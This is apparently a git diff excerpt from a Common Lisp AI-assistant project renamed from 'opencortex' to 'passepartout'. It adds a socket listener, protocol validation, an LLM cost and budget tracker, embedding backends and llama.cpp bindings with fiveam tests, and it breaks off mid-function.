||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(let ((client-socket (usocket:socket-accept *server-socket*)))
|
||||
(let ((client-socket (usocket:socket-accept *daemon-socket*)))
|
||||
(when client-socket
|
||||
(bt:make-thread (lambda () (handle-client-connection client-socket))
|
||||
:name "opencortex-client-handler")))))
|
||||
:name "opencortex-server-listener"))
|
||||
#+end_src
|
||||
(bt:make-thread (lambda () (client-handle-connection client-socket))
|
||||
:name "passepartout-client-handler")))))
|
||||
:name "passepartout-server-listener"))
|
||||
|
||||
** Handshake Logic
|
||||
#+begin_src lisp
|
||||
(defun make-hello-message (version)
|
||||
"Constructs the standard HELLO handshake message."
|
||||
(list :TYPE :EVENT
|
||||
:PAYLOAD (list :ACTION :handshake
|
||||
:VERSION version
|
||||
:CAPABILITIES '(:AUTH :ORG-AST))))
|
||||
#+end_src
|
||||
|
||||
** Structural Validation
|
||||
#+begin_src lisp :tangle communication-validator.lisp
|
||||
(in-package :opencortex)
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
(defun protocol-schema-validate (msg)
|
||||
"Strict structural validation for incoming protocol messages."
|
||||
(unless (listp msg) (error "Message must be a plist"))
|
||||
(let ((type (proto-get msg :type)))
|
||||
(unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS))
|
||||
(error "Invalid message type '~a'" type))
|
||||
t))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/communication-tests.lisp
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
"Backward-compatibility alias for protocol-schema-validate."
|
||||
(protocol-schema-validate msg))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-communication-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(defpackage :passepartout-communication-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:communication-protocol-suite))
|
||||
(in-package :opencortex-communication-tests)
|
||||
(in-package :passepartout-communication-tests)
|
||||
|
||||
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
#+end_src
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
190
lisp/cost-tracker.lisp
Normal file
190
lisp/cost-tracker.lisp
Normal file
@@ -0,0 +1,190 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
|
||||
"Session cost accumulator: (:total <float> :calls <int> :by-provider <alist>)")
|
||||
|
||||
(defvar *session-cost-lock* (bordeaux-threads:make-lock "session-cost-lock")
|
||||
"Lock protecting *session-cost* from concurrent updates.")
|
||||
|
||||
(defun cost-track-call (provider prompt-text &optional response-text)
|
||||
"Compute and accumulate the cost of a single LLM call.
|
||||
Returns the cost of this call in USD."
|
||||
(let* ((input-tokens (if (fboundp 'count-tokens)
|
||||
(funcall (symbol-function 'count-tokens) (or prompt-text ""))
|
||||
(ceiling (length (or prompt-text "")) 4)))
|
||||
(output-tokens (if (and response-text (fboundp 'count-tokens))
|
||||
(funcall (symbol-function 'count-tokens) response-text)
|
||||
0))
|
||||
(total-tokens (+ input-tokens output-tokens))
|
||||
(cost (provider-token-cost provider total-tokens)))
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(incf (getf *session-cost* :total) cost)
|
||||
(incf (getf *session-cost* :calls))
|
||||
(let ((by-prov (getf *session-cost* :by-provider)))
|
||||
(let ((entry (assoc provider by-prov)))
|
||||
(if entry
|
||||
(incf (cdr entry) cost)
|
||||
(setf (getf *session-cost* :by-provider)
|
||||
(acons provider cost by-prov))))))
|
||||
(log-message "COST TRACKER: ~a call: ~,4f USD (session total: ~,4f USD)"
|
||||
provider cost (getf *session-cost* :total))
|
||||
cost))
|
||||
|
||||
(defun cost-session-total ()
|
||||
"Returns the current session's total cost in USD."
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(getf *session-cost* :total)))
|
||||
|
||||
(defun cost-session-calls ()
|
||||
"Returns the total number of LLM calls in this session."
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(getf *session-cost* :calls)))
|
||||
|
||||
(defun cost-by-provider ()
|
||||
"Returns an alist of (provider . total-cost) for this session."
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(getf *session-cost* :by-provider)))
|
||||
|
||||
(defun cost-session-summary ()
|
||||
"Returns plist (:total <float> :calls <int> :by-provider <alist>)."
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(list :total (getf *session-cost* :total)
|
||||
:calls (getf *session-cost* :calls)
|
||||
:by-provider (getf *session-cost* :by-provider))))
|
||||
|
||||
(defun cost-session-reset ()
|
||||
"Zeroes the session cost accumulator."
|
||||
(bordeaux-threads:with-lock-held (*session-cost-lock*)
|
||||
(setf (getf *session-cost* :total) 0.0)
|
||||
(setf (getf *session-cost* :calls) 0)
|
||||
(setf (getf *session-cost* :by-provider) nil)))
|
||||
|
||||
(defun cost-format-budget-status (&optional (daily-budget nil))
|
||||
"Returns a string for the TUI status bar showing session cost.
|
||||
If DAILY-BUDGET is provided, includes percentage of budget used."
|
||||
(let* ((total (cost-session-total))
|
||||
(calls (cost-session-calls))
|
||||
(budget (or daily-budget
|
||||
(ignore-errors
|
||||
(parse-integer (uiop:getenv "COST_BUDGET_DAILY")))
|
||||
0))
|
||||
(pct (if (> budget 0) (* 100.0 (/ total budget)) 0.0))
|
||||
(status (cond
|
||||
((= calls 0) "—")
|
||||
((< pct 50) "OK")
|
||||
((< pct 90) "WARN")
|
||||
(t "HIGH"))))
|
||||
(if (> budget 0)
|
||||
(format nil "[Cost: $~,2f (~,0f%) ~a]" total pct status)
|
||||
(format nil "[Cost: $~,2f | ~d calls]" total calls))))
|
||||
|
||||
(defun cost-track-backend-call (backend prompt-text &optional response-text)
|
||||
"Track cost of a backend cascade call."
|
||||
(cost-track-call backend prompt-text response-text))
|
||||
|
||||
(defvar *session-budget*
|
||||
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
|
||||
"Maximum USD to spend in this session. NIL means no limit.")
|
||||
|
||||
(defun budget-remaining-usd ()
|
||||
"Returns remaining budget in USD, or a large sentinel if unlimited."
|
||||
(if *session-budget*
|
||||
(let ((remaining (- *session-budget* (cost-session-total))))
|
||||
(if (< remaining 0) 0.0 remaining))
|
||||
most-positive-double-float))
|
||||
|
||||
(defun budget-exhausted-p ()
|
||||
"T if the session budget is set and fully consumed."
|
||||
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
|
||||
|
||||
(defun budget-estimate-call (prompt-text)
|
||||
"Estimate the dollar cost of a pending LLM call from its prompt text.
|
||||
Returns 0.0 if the tokenizer is not loaded (allows call through)."
|
||||
(if (fboundp 'count-tokens)
|
||||
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
|
||||
(cost (provider-token-cost (first *provider-cascade*) tokens)))
|
||||
cost)
|
||||
0.0))
|
||||
|
||||
(defun budget-exhaustion-message ()
|
||||
"Returns a user-facing plist explaining that the budget is spent."
|
||||
(let ((total (cost-session-total))
|
||||
(cap *session-budget*))
|
||||
(list :TYPE :REQUEST
|
||||
:PAYLOAD (list :ACTION :MESSAGE
|
||||
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
|
||||
total cap)
|
||||
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-cost-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:cost-suite))
|
||||
|
||||
(in-package :passepartout-cost-tests)
|
||||
|
||||
(def-suite cost-suite :description "Cost tracking and budget management")
|
||||
(in-suite cost-suite)
|
||||
|
||||
(test test-cost-track-call
|
||||
"Contract 1: cost-track-call returns a positive number."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "hello world")))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-total-accumulates
|
||||
"Contract 2: session total grows with multiple calls."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :deepseek "world")
|
||||
(let ((total (cost-session-total)))
|
||||
(is (> total 0.0))
|
||||
(is (= 2 (cost-session-calls)))))
|
||||
|
||||
(test test-cost-session-reset
|
||||
"Contract 3: cost-session-reset zeroes the accumulator."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(is (> (cost-session-total) 0.0))
|
||||
(cost-session-reset)
|
||||
(is (= 0.0 (cost-session-total)))
|
||||
(is (= 0 (cost-session-calls))))
|
||||
|
||||
(test test-cost-format-budget-status
|
||||
"Contract 4: format-budget-status returns a string."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello world")
|
||||
(let ((status (cost-format-budget-status 100)))
|
||||
(is (stringp status))
|
||||
(is (search "$" status))))
|
||||
|
||||
(test test-cost-by-provider
|
||||
"Contract: cost-by-provider returns per-provider breakdown."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "a")
|
||||
(cost-track-call :groq "b")
|
||||
(let ((by (cost-by-provider)))
|
||||
(is (listp by))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by))))
|
||||
|
||||
(test test-cost-track-no-response
|
||||
"Contract 1: cost-track-call works without response-text."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "test")))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-summary
|
||||
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :groq "world")
|
||||
(let ((s (cost-session-summary)))
|
||||
(is (> (getf s :total) 0.0))
|
||||
(is (= 2 (getf s :calls)))
|
||||
(let ((by (getf s :by-provider)))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by)))))
|
||||
242
lisp/embedding-backends.lisp
Normal file
242
lisp/embedding-backends.lisp
Normal file
@@ -0,0 +1,242 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *embedding-provider* :trigram
|
||||
"Active embedding provider: :trigram, :sha256, :local, :openai, :native.")
|
||||
|
||||
(defvar *embedding-queue* nil
|
||||
"Queue of text objects awaiting embedding.")
|
||||
|
||||
(defvar *embedding-batch-size* 10
|
||||
"Maximum texts per embedding API call.")
|
||||
|
||||
(defun embedding-backend-local (text)
|
||||
"Generate embeddings via a local OpenAI-compatible endpoint."
|
||||
(let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/api/embeddings" url)
|
||||
:headers '(("Content-Type" . "application/json"))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "Embedding failed: ~a" c))))))
|
||||
|
||||
(defun embedding-backend-openai (text)
|
||||
"Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
|
||||
(let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
|
||||
(base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/embeddings" base-url)
|
||||
:headers `(("Content-Type" . "application/json")
|
||||
("Authorization" . ,(format nil "Bearer ~a" api-key)))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "OpenAI Embedding failed: ~a" c))))))
|
||||
|
||||
(defun embedding-backend-sha256 (text)
|
||||
"SHA-256 based vector — integrity only, no semantic retrieval capability.
|
||||
For environments where even trivial computation is undesirable."
|
||||
(let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
|
||||
(vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
|
||||
(dotimes (i (min (length digest) 8))
|
||||
(setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
|
||||
vec))
|
||||
|
||||
(defun embedding-backend-hashing (text)
|
||||
"Backward-compatibility alias for SHA-256 hashing."
|
||||
(embedding-backend-sha256 text))
|
||||
|
||||
(defun embedding-backend-trigram (text)
|
||||
"Trigram bloom filter — captures lexical overlap for semantic retrieval.
|
||||
Returns a 128-dim float vector where each position corresponds to a trigram hash.
|
||||
Pure Lisp, zero external dependencies, works fully offline."
|
||||
(let* ((s (string-trim '(#\Space #\Newline #\Tab) (string-downcase text)))
|
||||
(trigrams (make-hash-table :test 'equal))
|
||||
(result (make-array 128 :element-type 'single-float :initial-element 0.0)))
|
||||
(when (>= (length s) 3)
|
||||
(loop for i from 0 to (- (length s) 3)
|
||||
for tri = (subseq s i (+ i 3))
|
||||
do (setf (gethash tri trigrams) t)))
|
||||
(maphash (lambda (tri _) (declare (ignore _))
|
||||
(setf (aref result (mod (sxhash tri) 128)) 1.0))
|
||||
trigrams)
|
||||
result))
|
||||
|
||||
(defvar *embedding-backend* nil
|
||||
"Explicit backend override (nil = use *embedding-provider*).")
|
||||
|
||||
(defun embeddings-compute (text)
|
||||
"Compute an embedding vector for text using the active backend."
|
||||
(embed-object text))
|
||||
|
||||
(defun embed-object (text)
|
||||
"Embed a single text string using the active backend."
|
||||
(let* ((selected (or *embedding-backend* *embedding-provider* :trigram))
|
||||
(backend (case selected
|
||||
(:local #'embedding-backend-local)
|
||||
(:openai #'embedding-backend-openai)
|
||||
(:native
|
||||
(unless (fboundp 'embedding-backend-native)
|
||||
(embedding-native-ensure-loaded))
|
||||
#'embedding-backend-native)
|
||||
(:sha256 #'embedding-backend-sha256)
|
||||
(t #'embedding-backend-trigram))))
|
||||
(if backend
|
||||
(progn
|
||||
(log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
|
||||
(funcall backend text))
|
||||
(progn
|
||||
(log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
|
||||
(embedding-backend-hashing text)))))
|
||||
|
||||
(defun embed-queue-object (object)
|
||||
"Queue a text object for async embedding."
|
||||
(push object *embedding-queue*)
|
||||
(log-message "EMBEDDING: Queued object"))
|
||||
|
||||
(defun embed-all-pending ()
|
||||
"Drain the embedding queue, store vectors in the store-keyed objects."
|
||||
(let ((batch (nreverse *embedding-queue*)))
|
||||
(setf *embedding-queue* nil)
|
||||
(dolist (item batch)
|
||||
(handler-case
|
||||
(let ((id (getf item :id))
|
||||
(text (getf item :text)))
|
||||
(when (and id text)
|
||||
(let ((vec (embeddings-compute text))
|
||||
(obj (gethash id *memory-store*)))
|
||||
(when (and obj vec (not (listp vec)))
|
||||
(setf (memory-object-vector obj) vec))
|
||||
(log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Failed to embed object: ~a" c))))))
|
||||
|
||||
;; Apply env var override at load time
|
||||
(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
|
||||
(when provider-env
|
||||
(let ((kw (intern (string-upcase provider-env) :keyword)))
|
||||
(setf *embedding-provider* kw)
|
||||
(log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
|
||||
|
||||
(defun embedding-native-ensure-loaded ()
|
||||
"Lazy-load the native CFFI backend. First call blocks ~30s for model init."
|
||||
(when (fboundp 'embedding-backend-native)
|
||||
(return-from embedding-native-ensure-loaded t))
|
||||
(let* ((data-dir (uiop:ensure-directory-pathname
|
||||
(or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
|
||||
(namestring (merge-pathnames ".local/share/passepartout/"
|
||||
(user-homedir-pathname))))))
|
||||
(native-file (merge-pathnames "lisp/embedding-native.lisp" data-dir)))
|
||||
(handler-case
|
||||
(progn
|
||||
(load native-file :verbose nil :print nil)
|
||||
(log-message "EMBEDDING: Native backend loaded from ~a" native-file))
|
||||
(error (c)
|
||||
(error "Failed to load native embedding backend (~a): ~a" native-file c)))))
|
||||
|
||||
;; Preload native model if configured at startup
|
||||
(when (eq *embedding-provider* :native)
|
||||
(log-message "EMBEDDING: Native provider configured, preloading model...")
|
||||
(embedding-native-ensure-loaded)
|
||||
(handler-case
|
||||
(progn
|
||||
(embedding-native-load-model)
|
||||
(log-message "EMBEDDING: Native model preloaded (~d dims)"
|
||||
(embedding-native-get-dim)))
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Preload deferred: ~a (will retry on first call)" c))))
|
||||
|
||||
(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
|
||||
|
||||
(defun mark-vector-stale (id &optional content)
|
||||
"Mark a memory object's vector as :pending and queue it for re-embedding.
|
||||
When content is not supplied, reads from the object in *memory-store*."
|
||||
(let* ((obj (gethash id *memory-store*))
|
||||
(text (or content (and obj (memory-object-content obj)))))
|
||||
(when obj
|
||||
(setf (memory-object-vector obj) :pending))
|
||||
(when text
|
||||
(push (list :id id :text text) *embedding-queue*)
|
||||
(log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
|
||||
(or obj text)))
|
||||
|
||||
(defskill :passepartout-embedding-backends
|
||||
:priority 70
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
;; Register periodic batch embedding via cron (when orchestrator available)
|
||||
(when (fboundp 'orchestrator-register-cron)
|
||||
(handler-case
|
||||
(orchestrator-register-cron :embed-batch
|
||||
"<2026-05-05 Tue +10m>"
|
||||
'embed-all-pending
|
||||
:reflex)
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Cron registration failed: ~a" c))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-embedding-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:embedding-suite))
|
||||
|
||||
(in-package :passepartout-embedding-tests)
|
||||
|
||||
(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
|
||||
(fiveam:in-suite embedding-suite)
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing
|
||||
"Contract 2: hashing backend produces 8-element float vector."
|
||||
(let ((vec (embedding-backend-hashing "hello world")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (= 8 (length vec)))
|
||||
(fiveam:is (every #'numberp (coerce vec 'list)))))
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing-deterministic
|
||||
"Contract 2: same input produces same vector."
|
||||
(let ((v1 (embedding-backend-hashing "test"))
|
||||
(v2 (embedding-backend-hashing "test")))
|
||||
(fiveam:is (equalp v1 v2))))
|
||||
|
||||
(fiveam:test test-embeddings-compute
|
||||
"Contract 1: embeddings-compute returns a float vector."
|
||||
(let ((vec (embeddings-compute "some text")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (> (length vec) 0))))
|
||||
|
||||
(fiveam:test test-embed-queue-and-drain
|
||||
"Contract 3: embed-all-pending drains queue and stores vectors."
|
||||
(let ((*embedding-queue* nil))
|
||||
(embed-queue-object '(:id "test-obj" :text "sample text"))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(embed-all-pending)
|
||||
(fiveam:is (null *embedding-queue*))))
|
||||
|
||||
(fiveam:test test-mark-vector-stale
|
||||
"Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
|
||||
(let ((*embedding-queue* nil))
|
||||
;; Create an object in memory with a vector
|
||||
(let ((obj (make-memory-object :id "stale-test" :content "stale content"
|
||||
:vector #(1.0 2.0 3.0))))
|
||||
(setf (gethash "stale-test" *memory-store*) obj)
|
||||
(mark-vector-stale "stale-test")
|
||||
(fiveam:is (eq :pending (memory-object-vector obj)))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(let ((item (first *embedding-queue*)))
|
||||
(fiveam:is (string= "stale-test" (getf item :id)))
|
||||
(fiveam:is (string= "stale content" (getf item :text))))
|
||||
;; Clean up
|
||||
(remhash "stale-test" *memory-store*))))
|
||||
228
lisp/embedding-native.lisp
Normal file
228
lisp/embedding-native.lisp
Normal file
@@ -0,0 +1,228 @@
|
||||
(unless (find-package :passepartout)
|
||||
(make-package :passepartout :use '(:cl)))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(cffi:define-foreign-library libllama_wrap (:unix "/usr/local/lib/libllama_wrap.so"))
|
||||
(cffi:use-foreign-library libllama_wrap)
|
||||
(cffi:define-foreign-library libllama (:unix "/usr/local/lib/libllama.so"))
|
||||
(cffi:use-foreign-library libllama)
|
||||
|
||||
(cffi:defcstruct (llama-mparams :size 72)
|
||||
(devices :pointer) (tensor-buft :pointer) (n-gpu-layers :int32)
|
||||
(split-mode :int32) (main-gpu :int32) (_pad1 :int32)
|
||||
(tensor-split :pointer) (progress-cb :pointer) (progress-data :pointer)
|
||||
(kv-overrides :pointer) (vocab-only :bool) (use-mmap :bool)
|
||||
(_pad2 :uint8 :count 6))
|
||||
|
||||
(cffi:defcstruct (llama-cparams :size 136)
|
||||
(n-ctx :uint32)
|
||||
(n-batch :uint32)
|
||||
(n-ubatch :uint32)
|
||||
(n-seq-max :uint32)
|
||||
(n-threads :int32)
|
||||
(n-threads-batch :int32)
|
||||
(rope-scaling-type :int32)
|
||||
(pooling-type :int32)
|
||||
(attention-type :int32)
|
||||
(flash-attn-type :int32)
|
||||
(rope-freq-base :float)
|
||||
(rope-freq-scale :float)
|
||||
(yarn-ext-factor :float)
|
||||
(yarn-attn-factor :float)
|
||||
(yarn-beta-fast :float)
|
||||
(yarn-beta-slow :float)
|
||||
(yarn-orig-ctx :uint32)
|
||||
(defrag-thold :float)
|
||||
(cb-eval :pointer)
|
||||
(cb-eval-user-data :pointer)
|
||||
(type-k :int32)
|
||||
(type-v :int32)
|
||||
(abort-callback :pointer)
|
||||
(abort-callback-data :pointer)
|
||||
(embeddings :bool)
|
||||
(offload-kqv :bool)
|
||||
(no-perf :bool)
|
||||
(op-offload :bool)
|
||||
(swa-full :bool)
|
||||
(kv-unified :bool)
|
||||
(_c-pad3 :uint8 :count 15))
|
||||
|
||||
(cffi:defcstruct (llama-batch :size 56)
|
||||
(n-tokens :int32) (_bpad1 :int32) (token :pointer) (embd :pointer)
|
||||
(pos :pointer) (n-seq-id :pointer) (seq-id :pointer) (logits :pointer))
|
||||
|
||||
;; llama.cpp public API
|
||||
(cffi:defcfun ("llama_backend_init" bl) :void)
|
||||
(cffi:defcfun ("llama_model_default_params" mdp) :void (p :pointer))
|
||||
(cffi:defcfun ("llama_context_default_params" cdp) :void (p :pointer))
|
||||
(cffi:defcfun ("llama_model_n_embd" ne) :int32 (m :pointer))
|
||||
(cffi:defcfun ("llama_model_get_vocab" gv) :pointer (m :pointer))
|
||||
(cffi:defcfun ("llama_vocab_n_tokens" vnt) :int32 (vocab :pointer))
|
||||
(cffi:defcfun ("llama_tokenize" tok) :int32 (vocab :pointer) (text :string) (len :int32) (tokens :pointer) (n-max :int32) (add-special :bool) (parse-special :bool))
|
||||
(cffi:defcfun ("llama_get_embeddings_ith" embd-ith) :pointer (ctx :pointer) (i :int32))
|
||||
(cffi:defcfun ("llama_get_embeddings_seq" embd-seq) :pointer (ctx :pointer) (seq-id :int32))
|
||||
(cffi:defcfun ("llama_pooling_type" get-pooling) :int32 (ctx :pointer))
|
||||
(cffi:defcfun ("llama_model_free" fm) :void (m :pointer))
|
||||
(cffi:defcfun ("llama_free" fc) :void (ctx :pointer))
|
||||
|
||||
;; C wrapper (bridges struct-by-value ABI)
|
||||
(cffi:defcfun ("llama_wrap_model_load" wrap-load) :pointer (path :string) (params :pointer))
|
||||
(cffi:defcfun ("llama_wrap_new_context" wrap-ctx) :pointer (model :pointer) (params :pointer))
|
||||
(cffi:defcfun ("llama_wrap_encode" wrap-encode) :int32 (ctx :pointer) (batch :pointer))
|
||||
(cffi:defcfun ("llama_wrap_batch_init" wrap-batch-init) :void (batch :pointer) (n-tokens :int32) (embd :int32) (n-seq-max :int32))
|
||||
(cffi:defcfun ("llama_wrap_batch_free" wrap-batch-free) :void (batch :pointer))
|
||||
|
||||
(defvar *native-model* nil
|
||||
"Cached llama.cpp model for embedding inference.")
|
||||
|
||||
(defvar *native-context* nil
|
||||
"Cached llama.cpp context for embedding inference.")
|
||||
|
||||
(defvar *native-vocab* nil
|
||||
"Cached llama.cpp vocab handle (from model).")
|
||||
|
||||
(defvar *native-model-path*
|
||||
(merge-pathnames ".local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf"
|
||||
(user-homedir-pathname))
|
||||
"Path to the bundled embedding model GGUF file.")
|
||||
|
||||
(defun embedding-native-load-model ()
|
||||
"Load the embedding model and create a context. Caches globally."
|
||||
(unless (and *native-model* *native-context*)
|
||||
(unless (uiop:file-exists-p *native-model-path*)
|
||||
(error "Native embedding model not found at ~a" *native-model-path*))
|
||||
(sb-int:set-floating-point-modes :traps '())
|
||||
(bl)
|
||||
;; Load model
|
||||
(cffi:with-foreign-object (mp '(:struct llama-mparams))
|
||||
(mdp mp)
|
||||
(setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'n-gpu-layers) 0)
|
||||
(setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'use-mmap) 0)
|
||||
(setf *native-model* (wrap-load (namestring *native-model-path*) mp)))
|
||||
(setf *native-vocab* (gv *native-model*))
|
||||
;; Create context
|
||||
(let ((n-embd (ne *native-model*)))
|
||||
(cffi:with-foreign-object (cp '(:struct llama-cparams))
|
||||
(cdp cp)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ctx) 512)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-batch) 512)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ubatch) 512)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-seq-max) 1)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-threads) 2)
|
||||
(setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'embeddings) 1)
|
||||
(setf *native-context* (wrap-ctx *native-model* cp)))
|
||||
(format *error-output* "~&;; EMBEDDING: Native model loaded (~d-dim)~%" n-embd)))
|
||||
(values *native-model* *native-context* *native-vocab*))
|
||||
|
||||
(defun embedding-backend-native (text)
|
||||
"Compute an embedding vector using the native llama.cpp backend.
|
||||
Returns a simple-vector of single-floats (dimension: n_embd, typically 768)."
|
||||
(embedding-native-load-model)
|
||||
(let* ((n-embd (ne *native-model*))
|
||||
(max-tokens 256)
|
||||
(tokens (cffi:foreign-alloc :int32 :count max-tokens))
|
||||
(n-tok 0))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf n-tok (tok *native-vocab* text (length text) tokens max-tokens t t))
|
||||
(when (zerop n-tok)
|
||||
(error "Native embedding: tokenization returned 0 tokens for ~s" text))
|
||||
(let ((result (make-array n-embd :element-type 'single-float :initial-element 0.0f0)))
|
||||
(cffi:with-foreign-object (batch '(:struct llama-batch))
|
||||
(wrap-batch-init batch n-tok 0 1)
|
||||
(setf (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-tokens) n-tok)
|
||||
(dotimes (i n-tok)
|
||||
(setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'token) :int32 i)
|
||||
